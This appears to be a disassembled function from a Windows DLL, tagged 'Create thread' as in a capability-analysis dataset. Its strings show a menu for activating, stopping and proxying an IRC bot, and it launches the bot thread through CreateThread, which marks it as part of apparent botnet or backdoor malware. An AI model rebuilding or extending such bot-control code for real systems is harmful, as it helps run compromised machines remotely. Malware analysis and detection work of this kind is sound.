Function at 0x18004b1e8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r13
sub rsp, 0x4c0
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x4b0], rax
mov rbx, rcx
mov rbp, rdx
lea rcx, [rsp + 0xb1]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0xb0], 0
call fcn.180052810
mov rcx, rbx
call fcn.180017e20
test eax, eax
je 0x18004b641
mov r13d, 0xa
lea rdx, str._r_nA_ctivate_IRC_Bot__r_n
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x18004b672
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.De_Activate_IRC_Bot__r_n
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x18004b672
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.E_xit__r_n
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x18004b672
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.R_emoteProxy__r_n
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x18004b672
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Q_uit__r_n
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x18004b672
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.T_estRemoteProxy__r_n
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x18004b672
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._r_nEnter_The_Number_To_Modify_Info_Or_E_xit__r_n_r_n
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x18004b672
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._GlobalInfoControl_
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x18004b672
lea rcx, [rsp + 0xb0]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
lea rdx, [rsp + 0xb0]
mov r8d, 0x400
mov rcx, rbx
call fcn.180012e60
test eax, eax
je 0x18004b672
lea rcx, [rsp + 0xb0]
call fcn.1800052c0
lea rdx, str.Stat
lea rcx, [rsp + 0xb0]
call fcn.180053060
test eax, eax
jne 0x18004b3a9
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.180015824
jmp 0x18004b631
lea rdx, str.GARP
lea rcx, [rsp + 0xb0]
mov r8d, 4
call fcn.180052dec
lea rcx, [rsp + 0xb0]
test eax, eax
jne 0x18004b466
call fcn.1800529c0
cmp eax, 4
jbe 0x18004b631
lea rdx, [0x18007a57c]
lea rcx, [rsp + 0xb0]
call fcn.180054330
xor edi, edi
lea rsi, [rsp + 0x50]
test rax, rax
je 0x18004b41d
mov qword [rsi], rax
lea rdx, [0x18007a57c]
xor ecx, ecx
inc edi
add rsi, 8
call fcn.180054330
cmp edi, 8
jb 0x18004b3fc
cmp edi, 3
je 0x18004b42b
cmp edi, 5
jne 0x18004b631
xor eax, eax
xor ecx, ecx
cmp edi, 5
jne 0x18004b43e
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
and dword [rsp + 0x30], 0
mov r9, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x28], rcx
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.180031bdc
jmp 0x18004b631
call fcn.18000496c
lea rcx, [rsp + 0xb0]
test eax, eax
je 0x18004b497
call fcn.180054324
lea ecx, [rax - 1]
cmp ecx, 0x1d
ja 0x18004b631
mov edx, eax
mov rcx, rbx
call fcn.180041860
jmp 0x18004b631
lea rdx, [0x18006b8c4]
call fcn.180053060
test eax, eax
jne 0x18004b520
cmp dword [0x18009b428], eax
jne 0x18004b517
call fcn.1800073b4
call fcn.180038480
test eax, eax
je 0x18004b50e
cmp dword [0x18009b424], 0
je 0x18004b50e
and dword [rsp + 0x40], 0
lea rax, [rsp + 0x40]
lea r8, [0x18004b184]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18004b505
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str._r_nCreate_IRC_Bot_Thread_Successfully_r_n_r_n
jmp 0x18004b56b
lea rdx, str._r_nFail_To_Create_IRC_Bot_Thread_r_n_r_n
jmp 0x18004b56b
lea rdx, str._r_nIRC_Bot_Is_Disable_r_n_r_n
jmp 0x18004b56b
lea rdx, str._r_nIRC_Bot_Is_Running_Already_r_n_r_n
jmp 0x18004b56b
lea rdx, [0x180076114]
lea rcx, [rsp + 0xb0]
call fcn.180053060
test eax, eax
jne 0x18004b578
cmp dword [0x18009b428], eax
je 0x18004b564
mov rcx, qword [0x180097630]
and dword [0x18009b428], eax
call qword [0x180099c60]
or qword [0x180097630], 0xffffffffffffffff
lea rdx, str._r_nStop_IRC_Bot_Successfully_r_n_r_n
jmp 0x18004b56b
lea rdx, str._r_nIRC_Bot_Is_Not_Running_r_n_r_n
mov rcx, rbx
call fcn.180012d7c
jmp 0x18004b631
lea rdx, [0x18006b8dc]
lea rcx, [rsp + 0xb0]
call fcn.180053060
test eax, eax
je 0x18004b672
lea rdx, str.Exit
lea rcx, [rsp + 0xb0]
call fcn.180053060
test eax, eax
je 0x18004b672
lea rdx, [0x18006b8d0]
lea rcx, [rsp + 0xb0]
call fcn.180053060
test eax, eax
je 0x18004b66b
lea rdx, str.Quit
lea rcx, [rsp + 0xb0]
call fcn.180053060
test eax, eax
je 0x18004b66b
lea rdx, [0x18006b8b0]
lea rcx, [rsp + 0xb0]
call fcn.180053060
test eax, eax
jne 0x18004b60f
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.180031a70
jmp 0x18004b631
lea rdx, [0x180070e30]
lea rcx, [rsp + 0xb0]
call fcn.180053060
test eax, eax
jne 0x18004b631
xor edx, edx
mov rcx, rbx
call fcn.18003e270
mov rcx, rbx
call fcn.180017e20
test eax, eax
jne 0x18004b248
xor eax, eax
mov rcx, qword [rsp + 0x4b0]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop rdi
pop rsi
ret
mov dword [rbp], 1
mov eax, 1
jmp 0x18004b643